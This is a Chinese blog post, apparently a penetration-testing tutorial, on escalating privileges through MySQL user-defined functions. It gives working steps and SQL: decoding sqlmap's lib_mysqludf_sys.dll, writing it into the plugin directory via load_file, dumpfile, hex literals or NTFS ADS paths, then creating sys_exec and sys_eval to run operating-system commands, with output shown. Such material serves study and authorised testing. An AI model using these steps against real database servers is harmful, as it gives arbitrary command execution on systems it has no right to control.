Mysql 提权

Mysql 安装

以 Centos 7 为例

  1. wget下载安装包

wget http://repo.mysql.com/mysql57-community-release-el7-10.noarch.rpm

  1. 安装软件源

rpm -Uvh mysql57-community-release-el7-10.noarch.rpm

  1. 安装 mysql 服务端

yum install -y mysql-community-server

  1. 启动mysql

service mysqld start

  1. 查看mysql运行状态

service mysqld status

如图,成功启动


1.png
  1. 修改mysql临时密码
  • 为了加强安全性,MySQL5.7为root用户随机生成了一个密码,在error log中,关于error log的位置,如果安装的是RPM包,则默认是/var/log/mysqld.log

grep 'temporary password' /var/log/mysqld.log //启动mysql后查看临时密码

  1. 登录并修改默认密码

mysql -u root -p // root 用户登录mysql
alter user 'root'@'localhost' IDENTIFIED BY 'newpassword';
1819报错执行两条语句,修改两个全局参数
set global validate_password_policy=0;
set global validate_password_length=1;

图片.png

MYSQL 利用udf提权

提权思路:
  1. udf文件放到指定位置(mysql版本 > 5.1udf.dll导出到安装路径MySQL\Lib\Pluginmysql版本 < 5.1 , udf.dll文件在win server 2003下放置于c:\windows\system32目录,在win server 2000下放置在c:\winnt\system32目录)
  2. 从 udf (user defined function) 文件中引入自定义函数(linux环境下导出lib_mysqludf_sys.soWindows下导出dll文件)
  3. 执行自定义函数
提权步骤
  1. 查看 mysql 版本及plugin文件位置

mysql> status
探测到靶机版本5.5 > 5.1,从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。

1.png

使用select @@plugin_dir全局变量查询plugin文件夹

2.png
  1. 查找 udf.dll 文件
    SQLMAP 提供了现成的 udf.dll ,位于sqlmap/udf/mysql/windows目录下,由于MySQL位数为32,所以在此选择32位的 dll 文件
    3.png

    由于sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,可以利用sqlmap 自带的解码工具 cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令生成 dll 文件:

cloak.py -d -i E:\sqlmap\sqlmapproject-sqlmap-4cd8590\udf\mysql\windows\32\lib_mysqludf_sys.dll_

4.png

同时MSF也提供了现成的 udf.dll 文件,文件位置

/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
  1. udf.dll 文件写入数据库
  • 方法一:远程加载
    load_file() 函数支持远程加载,配合 dumpfile 实现写入
    lib 目录下一定要有 plugin 文件夹 否则报错


    5.png

使用NTFS ADS流创建 plugin,lib 文件夹,大佬的代码但是我没有成功。。你们可以尝试一下

select 'It is dll' into dumpfile 'D:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION';    //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
6.png
  • 方法二:HEX 写入
    在某些情况下我们可以将我们 udf.dll 转化成16进制然后写入,这样就不用连接外网了
select hex(load_file('E:\\sqlmap\\sqlmapproject-sqlmap-4cd8590\\udf\\mysql\\windows\\32\\lib_mysqludf_sys.dll')) into outfile "E:\\udf32.hex";

生成了 hex 文件以后我们可以将 hex 文件的内容复制出来,写入我们的命令,16进制代码前记得加0x表示16进制

select 0x4D5A9000030000000…(太长省略) into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";

依旧需要plugin文件存在,这里我手动创建了一个毕竟那个NFTS ADS流创建我没创建成功

  1. dll 文件利用
    sqlmap中的 udf 文件提供的函数:
    sys_eval,执行任意命令,并将输出返回。
    sys_exec,执行任意命令,并将退出码返回。
    sys_get,获取一个环境变量。
    sys_set,创建或修改一个环境变量。

加载函数

  • sys_exec函数
mysql> create function sys_exec RETURNS int soname 'udf.dll' ;
Query OK, 0 rows affected (0.01 sec)

mysql> select * from mysql.func where name = "sys_exec";
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_exec |   2 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select sys_exec('whoami');
+--------------------+
| sys_exec('whoami') |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.20 sec)

函数删除

mysql> drop function sys_exec;
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func where name = "sys_exec";
Empty set (0.00 sec)
  • sys_evel() 函数(该功能将执行系统命令并在屏幕上通过标准输出显示)
mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func where name = "sys_eval";
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select sys_eval('whoami');
+-----------------------+
| sys_eval('whoami')    |
+-----------------------+
| desktop-jg0a4e7\wcute |
+-----------------------+
1 row in set (0.08 sec)

函数删除

mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)
  • sys_get() 函数(该函数返回系统变量的值)
mysql> create function sys_get returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func where name = "sys_get";
+---------+-----+---------+----------+
| name    | ret | dl      | type     |
+---------+-----+---------+----------+
| sys_get |   0 | udf.dll | function |
+---------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select sys_get('COMSPEC');
+-----------------------------+
| sys_get('COMSPEC')          |
+-----------------------------+
| C:\Windows\system32\cmd.exe |
+-----------------------------+
1 row in set (0.00 sec)

删除函数

drop function sys_get;

参考链接:
https://www.cnblogs.com/silentdoer/articles/7258232.html
http://www.mamicode.com/info-detail-2294087.html
https://www.k0rz3n.com/2018/10/21/Mysql%20%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/
https://blog.csdn.net/qq_26090065/article/details/81515355

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容

  • 0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。...
    Pino_HD阅读 17,361评论 0 3
  • 最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导...
    CanMeng阅读 634评论 0 2
  • 环境:web应用服务器权限较低MySQL system权限 什么是UDF UDF -----User def...
    zksmile阅读 564评论 0 0
  • 今天是你们的结婚纪念日 去年的这个时候 天津下了第一场初雪 在空管楼赶去上课的我 被风口吹的只能后退 那是第一次懂...
    左二七禾阅读 164评论 0 0